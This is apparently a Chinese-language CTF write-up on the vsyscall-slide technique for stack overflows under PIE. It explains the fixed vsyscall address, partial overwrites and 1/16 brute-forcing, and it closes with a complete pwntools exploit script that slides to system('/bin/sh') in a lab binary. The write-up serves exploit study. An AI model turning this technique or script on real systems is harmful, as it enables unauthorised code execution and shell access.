原理

适用条件:ubuntu16

偏有宸机:由于一般的系统调用如果想要向内核传递一些参数的话,为了保证用户态和内核态的数据隔离,往往需要把当前寄存器状态先保存好,然后再切换到内核态,当执行完后还需要在会恢复寄存器状态,而这中间就会产生大量的系统开销。因此为了解决这个问题,linux系统会将仅从内核里读取数据的syscall单独列出来进行优化,如 gettimeofday、time、getcpu。

vsyscall的地址是固定的,也就是0xffffffffff600000.

使用

如果栈上有一个我们需要返回到的地址,我们只需要用vsyscall将他前面的栈数据填满,程序就会滑动到这个地址去执行函数。特别是system("/bin/sh").

或者在开启了pie情况下,该地址与后门函数地址只有后面1个字节不一样,那就在用vsyscall将他前面的栈数据填满的前提下,将后一个字节填充为后门函数绕过pie。

如果是两个字节不一样,这就需要爆破一位,有1/16几率成功(比较高。

例题

❯ checksec pwn
[*] '/home/za/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

存在栈溢出:

开启了pie,而且不能泄露栈地址,加上有一个(v2 & 7) != 0检查,常规思路是不行的payload = b"a"*0x18 +b"\x3a",因为需要读入0x19字节,这样就不能绕过这个检查。

调试

找到返回到0xa3a的地址

我们写的地址在0x7fffffffe560,而在0x7fffffffe588中的地址就是system("/bin/sh"),所以我们填入5个0xffffffffff600000就能滑到这个位置。

exp

from pwn import *
from pwn import p64,u64,p32,u32,p8
from LibcSearcher import *

context.terminal = ["tmux","sp","-h"]
context(log_level="debug",os="linux",arch="amd64")
io = process("./pwn")
# io = remote("node4.anna.nssctf.cn",28958)

elf=ELF("./pwn")
libc=ELF('/home/tools/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so')

sla = lambda x,y : io.sendlineafter(x,y)
sa = lambda x,y : io.sendafter(x,y)
sl = lambda x : io.sendline(x)
sd = lambda x : io.send(x)
gd = lambda : gdb.attach(io)
r = lambda : io.recv()
rn = lambda x : io.recv(x)
rl = lambda : io.recvline()
ru = lambda x : io.recvuntil(x)
rud = lambda x : io.recvuntil(x, drop=True)
inter = lambda : io.interactive()
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
leak = lambda tag,addr :log.info('\x1b[01;38;5;214m' + tag + " -------------> " + hex(addr) + '\x1b[0m')

def get_addr() :
return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb(libc_base) :
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def pwn():
io.sendline(p64(0xffffffffff600000)*5)
inter()

pwn()